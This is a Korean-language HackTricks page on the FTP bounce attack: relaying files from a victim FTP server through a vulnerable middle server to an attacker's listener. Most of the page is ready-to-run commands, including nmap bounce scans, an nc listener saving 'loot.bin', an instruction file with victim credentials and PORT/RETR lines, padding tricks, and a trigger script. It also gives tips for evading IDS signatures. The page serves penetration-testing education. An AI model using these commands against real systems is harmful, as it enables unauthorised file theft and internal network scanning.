FTP Bounce Download 2 of FTP File
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
요약
만약 bounce FTP server에 접근할 수 있다면, 자격 증명을 알고 있는 another FTP server의 파일을 요청하게 하고 그 파일을 your own server로 다운로드할 수 있습니다.
요구사항
- FTP Middle server에 대한 유효한 FTP 자격 증명
- Victim FTP server에 대한 유효한 FTP 자격 증명
- 양 서버 모두 accept the
PORTcommand (bounce FTP attack) - FTP Middle server의 어떤 디렉토리에 write할 수 있어야 함
- 중간 서버가 Victim FTP Server 내부에서 당신보다 more access 권한을 가지고 있어야 함
절차
- 자신이 소유한 your own FTP server에 연결하고 연결을 passive로 설정(
pasv명령)하여 victim service가 파일을 보낼 디렉토리에서 listens 상태로 만듭니다. - FTP Middle server가 Victim server로 보낼 파일(즉 exploit script)을 작성합니다. 이 파일은 Victim server에 인증하고 디렉토리를 변경하며 파일을 your own server로 다운로드하기 위한 명령들을 포함한 평문입니다.
- FTP Middle Server에 연결하여 앞서 만든 파일을 업로드합니다.
- FTP Middle server가 Victim server와 establish a connection을 맺고 exploit 파일을 전송하게 합니다.
- 자신의 FTP server에서 파일을 Capture합니다.
- FTP Middle server에서 exploit 파일을 Delete합니다.
취약한 bounce hosts 빠르게 확인
- Nmap은 여전히 FTP bounce 검사를 지원합니다. 잠재적 middle server를 확인하는 예시:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
서버가 서드파티 PORT 값을 거부하면 스캔은 실패합니다; 일부 임베디드/레거시 프린터, NAS 및 어플라이언스 FTP 데몬은 여전히 이를 허용합니다.
2차 FTP 다운로드 자동화
아래는 취약한 중간 FTP 서버를 통해 파일을 가져오는 현대화된 방법입니다.
- 공격 박스에서 수동 리스너(passive listener)를 엽니다 (임의의 TCP sink 사용 가능):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
IP를
A,B,C,D로, 포트P를p1,p2로 표기합니다 (p1 = P/256,p2 = P%256). -
중간 서버가 victim에게 재생할 instruction 파일을 만듭니다:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- 중간 서버에서 업로드 및 트리거 (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- 리스너에서 파일을 가져옵니다 (
loot.bin). - 중간 서버에 업로드한
instrs파일을 정리(삭제)합니다.
참고:
- 패딩(
dd ...)은 RETR이 완료되기 전에 제어 연결이 닫히는 것을 방지합니다(고전 문서들에서 논의된 큰 TCP 윈도우 이슈). - TCP를 수신하고 덤프할 수 있는 어떤 서비스든 FTP PASV 소켓을 대체할 수 있습니다(예:
socat -u TCP-LISTEN:2121,fork - > loot.bin). - 중간 서버가 privileged 포트를 제한하면
PORT에 높은 포트를 사용하고 리스너를 그에 맞게 조정하세요.
추가 트릭
- 파일 중계가 차단되었을 때 내부 호스트를 포트 스캔하려면 bounceable FTP 서버를 사용하세요:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- 일부 최신 WAF/IDS(예: Juniper IPS)에는 FTP:EXPLOIT:BOUNCE-ATTACK 전용 시그니처가 포함되어 있습니다; 시끄러운 페이로드나 패딩 누락은 탐지를 유발할 수 있습니다.
- 중간 서버가 “PORT to same host” 제한을 적용하면, (쓰기/실행 권한이 있다면) 리스너를 중간 서버 자체에 배치하고 캡처한 파일을 나중에 전달하세요.
For a more detailed old-school walkthrough check: http://www.ouah.org/ftpbounce.html
References
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


